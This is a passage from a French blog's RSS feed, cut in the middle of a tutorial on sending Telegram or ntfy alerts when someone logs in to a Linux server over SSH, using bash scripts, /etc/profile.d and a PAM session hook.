&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;error while sending message&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;RES&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nb&#34;&gt;exit&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Je vous laisse placer ce script à l&amp;rsquo;endroit de votre choix, on pourrait par exemple le placer dans &lt;code&gt;/usr/bin&lt;/code&gt; ou tout autre dossier de votre &lt;code&gt;$PATH&lt;/code&gt;.
Il ne faut ensuite pas oublier de lui donner les droits d&amp;rsquo;exécution avec &lt;code&gt;chmod +x &amp;lt;script-path&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Faites attention lorsque vous lancez ce script pour le tester dans votre terminal, je vous conseille de rajouter un espace devant la commande comme le conseille &lt;a href=&#34;https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#index-HISTCONTROL&#34;&gt;le man de bash&lt;/a&gt;.
Cela vous permettra de ne pas enregistrer la commande dans votre historique et de ne pas y dévoiler le token.&lt;/p&gt;
&lt;h2 id=&#34;ntfy&#34;&gt;Ntfy&lt;/h2&gt;
&lt;p&gt;Au début, j&amp;rsquo;avais prévu de faire l&amp;rsquo;article en ne parlant que de Telegram.
J&amp;rsquo;avais également prévu de mettre un petit encadré pour dire &amp;ldquo;faites attention, par design, Telegram aura accès à toutes vos alertes, blabla&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Et puis je me suis souvenu de &lt;a href=&#34;https://ntfy.sh/&#34;&gt;ntfy&lt;/a&gt; que je n&amp;rsquo;avais jamais pris le temps de tester.
Pour faire simple, c&amp;rsquo;est un service de notification/alerte en &lt;strong&gt;publish-subscribe&lt;/strong&gt; Open Source et qu&amp;rsquo;il est possible d&amp;rsquo;auto-héberger.
Le slogan est &lt;em&gt;Push notifications made easy&lt;/em&gt; et c&amp;rsquo;est vraiment le cas.
Je vous invite à faire un tour sur leur site et la documentation associée, ça marche bien, vite et simplement.&lt;/p&gt;
&lt;p&gt;Voilà un script équivalent à celui pour Telegram:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;set&lt;/span&gt; -eu
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$#&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; -ne &lt;span class=&#34;m&#34;&gt;4&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Usage: &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$0&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; &amp;lt;ntfy_url&amp;gt; &amp;lt;basic_auth&amp;gt; &amp;lt;topic&amp;gt; &amp;lt;text message&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Help basic_auth: \&amp;#34;echo -n &amp;#39;testuser:fakepassword&amp;#39; | base64\&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nb&#34;&gt;exit&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;NTFY_URL&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;BASIC_AUTH&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;TOPIC&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;TEXT&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;RES&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;curl -i -s -X POST -H &lt;span class=&#34;s2&#34;&gt;&amp;#34;Authorization: Basic &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;BASIC_AUTH&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; -d &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;TEXT&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;NTFY_URL&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;TOPIC&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;STATUS_CODE&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$RES&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; head -n &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; awk -F&lt;span class=&#34;s1&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[[&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$STATUS_CODE&lt;/span&gt; -ne &lt;span class=&#34;m&#34;&gt;200&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]]&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;error while sending alert&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;RES&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nb&#34;&gt;exit&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On pourrait également utiliser la CLI pour quelque-chose de similaire (&lt;a href=&#34;https://docs.ntfy.sh/publish/#authentication&#34;&gt;voir ici&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;avantage en auto-hébergement est que vous restez maitre de vos données.
L&amp;rsquo;inconvénient vient des cas d&amp;rsquo;usages.
Par exemple, si vous avez:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un serveur A avec quelques services dont ntfy&lt;/li&gt;
&lt;li&gt;un serveur B avec un service de monitoring comme &lt;a href=&#34;https://uptime.kuma.pet/&#34;&gt;uptime-kuma&lt;/a&gt; qui est censé envoyer un message quand un service est tombé sur le serveur A, si le service en question est ntfy, c&amp;rsquo;est ballot (idem si c&amp;rsquo;est tout le serveur A qui tombe).&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;envoyer-lalerte-à-la-connexion-ssh&#34;&gt;Envoyer l&amp;rsquo;alerte à la connexion SSH&lt;/h1&gt;
&lt;h2 id=&#34;avec-profiled&#34;&gt;Avec profile.d&lt;/h2&gt;
&lt;p&gt;L&amp;rsquo;astuce va être de profiter de &lt;code&gt;/etc/profile&lt;/code&gt; qui va exécuter des scripts à chaque connexion (SSH ou pas) pour chaque utilisateur de la machine.&lt;/p&gt;
&lt;p&gt;Il suffit alors de créer un fichier (disons &lt;code&gt;login-notify.sh&lt;/code&gt;) dans le dossier &lt;code&gt;/etc/profile.d/&lt;/code&gt; avec ce type de contenu (à adapter selon vos besoins/envies):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;BOT_TOKEN&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;to-replace&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;GROUP_ID&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;to-replace&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;IP&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;SSH_CONNECTION&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; awk -F&lt;span class=&#34;s1&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;# does not work for local connection&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;DATE&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;date&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;NAME&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;whoami&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;NB_USERS&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;who &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; wc -l&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;MESSAGE&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;New login to &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;HOSTNAME&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; server!
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;NAME&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;\&amp;#34; from \&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;IP&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;\&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;NB_USERS&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; users connected
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;DATE&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;/path/to/send-telegram.sh &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;BOT_TOKEN&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;GROUP_ID&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;MESSAGE&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Vous pouvez ne mettre les droits de lecture à ce fichier qu&amp;rsquo;à l&amp;rsquo;utilisateur &lt;code&gt;root&lt;/code&gt; si vous y mettez votre &lt;code&gt;BOT_TOKEN&lt;/code&gt; par exemple.&lt;/p&gt;
&lt;p&gt;Là, j&amp;rsquo;utilise le script pour Telegram, mais on pourrait utiliser celui pour ntfy (avec pourquoi pas du retry sur Telegram en cas d&amp;rsquo;échec).
On pourrait également n&amp;rsquo;envoyer une notification que via le &lt;code&gt;~/.bash_profile&lt;/code&gt; pour rester uniquement à notre utilisateur.&lt;/p&gt;
&lt;h2 id=&#34;avec-lapi-pam&#34;&gt;Avec l&amp;rsquo;API PAM&lt;/h2&gt;
&lt;p&gt;L&amp;rsquo;astuce avec &lt;code&gt;profile.d&lt;/code&gt; marche bien dans le cas de connexions ssh classiques.
Mais si je fais ce type de commande &lt;code&gt;ssh user@mymachine uptime&lt;/code&gt;, aucune notification ne sera envoyée parce qu&amp;rsquo;au environnement ne sera créé.&lt;/p&gt;
&lt;p&gt;On peut alors dans ce cas plutôt se tourner vers l&amp;rsquo;API PAM dont voici sa description selon Wikipédia:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pluggable Authentication Modules est une API permettant d&amp;rsquo;offrir aux programmes des services d&amp;rsquo;authentification, d&amp;rsquo;autorisation et de contrôle d&amp;rsquo;ouverture de sessions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Bref, entrons dans le vif du sujet.&lt;/p&gt;
&lt;p&gt;Dans votre fichier &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;, assurez-vous de mettre la valeur &lt;code&gt;UsePAM&lt;/code&gt; à &lt;code&gt;yes&lt;/code&gt;.
Personnellement, j&amp;rsquo;ai également &lt;code&gt;ChallengeResponseAuthentication&lt;/code&gt; et &lt;code&gt;PasswordAuthentication&lt;/code&gt; à &lt;code&gt;no&lt;/code&gt;: dans ce cas, on utilise pas PAM pour l&amp;rsquo;authentification (je continue à utiliser uniquement l&amp;rsquo;authentification par clés).&lt;/p&gt;
&lt;p&gt;On peut ensuite commencer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;on crée un dossier: &lt;code&gt;mkdir -p /etc/pam.scripts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;on y place le même contenu que le fichier &lt;code&gt;login-notify.sh&lt;/code&gt; de la section précédente&lt;/li&gt;
&lt;li&gt;on ajoute les droits exécutables sur notre fichier: &lt;code&gt;chmod +x /etc/pam.scripts/login-notify.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;à la fin de &lt;code&gt;/etc/pam.d/sshd&lt;/code&gt;, on rajoute &lt;code&gt;session optional pam_exec.so /etc/pam.scripts/login-notify.sh&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le mot clé &lt;code&gt;optional&lt;/code&gt; est important, parce que si votre message Telegram ou votre notification ntfy retourne une erreur, alors la connexion SSH sera bloquée.
Or si c&amp;rsquo;est le même serveur qui gère votre serveur ntfy et qu&amp;rsquo;il est tombé, vous ne pourrez plus vous y connecter.
On reste donc sur du &amp;ldquo;best-effort&amp;rdquo;, ce n&amp;rsquo;est donc pas une sécurité absolue mais un petit plus (comme toujours en sécurité).&lt;/p&gt;
&lt;p&gt;Aussi, il est possible d&amp;rsquo;utiliser &lt;code&gt;if [ ${PAM_TYPE} = &amp;quot;open_session&amp;quot; ]; then&lt;/code&gt; autour de l&amp;rsquo;envoi du message (sans oublier le &lt;code&gt;fi&lt;/code&gt; à la fin) pour notifier uniquement en cas d&amp;rsquo;ouverture de session, sinon il y aura aussi les fermetures.&lt;/p&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Voilà qui clôt ce tutoriel.
Je ne vous invite pas forcément à copier-coller les scripts mais plutôt à les adapter à vos besoins.
Le but était surtout de donner des idées: on peut en effet exécuter des scripts à chaque login (et donc par extension faire ce que l&amp;rsquo;on veut).&lt;/p&gt;
&lt;p&gt;Dans le même esprit, si vous avez d&amp;rsquo;autres idées dans le même genre, n&amp;rsquo;hésitez pas à les partager dans les commentaires ci-dessous.&lt;/p&gt;
</description>
                
                    <category>Tutoriel</category>
                
                    <category>Informatique</category>
                
                    <category>Sécurité</category>
                
                    <category>Linux</category>
                
            </item>
        
            <item>
                <title>[Tutoriel] Flasher les dongles CC2531 et ZLinky</title>
                <link>https://www.pofilo.fr/post/2023/07/08-flash-cc2531-zlinky/</link>
                <pubDate>Sat, 08 Jul 2023 00:00:00 +0000</pubDate>
                
